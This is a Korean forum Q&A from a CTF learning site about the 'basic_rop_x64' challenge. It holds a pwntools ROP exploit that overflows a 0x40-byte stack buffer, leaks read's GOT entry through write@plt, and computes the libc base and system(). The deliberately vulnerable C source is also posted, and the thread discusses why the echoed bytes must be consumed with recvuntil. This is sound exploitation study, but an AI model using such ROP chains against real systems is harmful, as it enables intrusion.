바로 앞에서 푼 문제와 이 문제에 대해 이해가 가질 않는 게 있습니다.

앞 문제에서 질문한 글 : https://dreamhack.io/forum/qna/2549
위의 링크에서 첫 번째 질문에 대한 답에 대해 이번 문제가 이해가 되질 않습니다.

첫 번째 입력(read)을 write_pltread()주소를 구한 후 lib_basesystem()주소를 구하는 과정에서 에러가 발생했습니다.

<에러가 나오는 익스플로잇 코드>

     1  #!/usr/bin/python3
     2
     3  from pwn import *
     4
     5  #p = remote("host3.dreamhack.games", 9688)
     6  p = process("./basic_rop_x64")
     7  e = ELF("./basic_rop_x64")
     8  lib = ELF("./libc.so.6")
     9
    10  context.log_level = "debug"
    11
    12  write_plt = e.plt["write"]
    13  read_plt = e.plt["read"]
    14  read_got = e.got["read"]
    15  pop_rdi = 0x400883
    16  pop_rsi_r15 = 0x400881
    17
    18  payload = b"A"*0x40 + b"B"*0x8
    19  payload += p64(pop_rdi) + p64(1)
    20  payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(write_plt)
    21
    22  p.send(payload)
    23  #p.recvuntil(b"A"*0x40)
    24  read = u64(p.recvn(6) + b"\x00" * 2)
    25  lib_base = read - lib.symbols["read"]
    26  system = lib_base + lib.symbols["system"]
    27
    28  print(hex(read))
    29  print(hex(lib_base))
    30  print(hex(system))

<결과(실패)>

context.log_level="debug"를 이용해서 보시는 것처럼 p.recvuntil(b"A"*0x40)을 해줘야 정상적으로 read()주소를 구할 수 있다고 알게 되었습니다.

p.send(payload)뒤에 p.recvuntil("A"*0x40)을 넣어주고 다시 익스플로잇 해본 결과.

<결과(성공)>

잘 되는 것을 확인했습니다. 정리하자면 제일 위에 올린 링크에서 질문에 대한 답변을 보고나서 페이로드를 보내고 별 다른 출력 함수들(예를 들어 printf())이 없으면 p.recvuntil 등으로 페이로드 만큼의 데이터를 안빼는 것이라고 이해했었는데 잘못 이해한건가요??
문제마다 달라서 항상 디버그로 확인을 해야하나요??

#pwnable
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

코드 한번 올려봐주세요.
아마 scanf 또는 gets로 데이터를 받은 다음에 printf 로 입력받은 값을 출력해주지 싶은데요...

pwntools에서 recv나 send의 경우 무작정 보내는 것이 아닌 코드에 따라 어떻게 작동할지 결정하셔야합니다 ㅎㅎ

2022.08.20. 21:18
탈퇴한 이용자
대표 업적 없음
     1  #include <stdio.h>
     2  #include <stdlib.h>
     3  #include <signal.h>
     4  #include <unistd.h>
     5
     6
     7  void alarm_handler() {
     8      puts("TIME OUT");
     9      exit(-1);
    10  }
    11
    12
    13  void initialize() {
    14      setvbuf(stdin, NULL, _IONBF, 0);
    15      setvbuf(stdout, NULL, _IONBF, 0);
    16
    17      signal(SIGALRM, alarm_handler);
    18      alarm(30);
    19  }
    20
    21  int main(int argc, char *argv[]) {
    22      char buf[0x40] = {};
    23
    24      initialize();
    25
    26      read(0, buf, 0x400);
    27      write(1, buf, sizeof(buf));
    28
    29      return 0;
    30  }
2022.08.20. 21:42
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기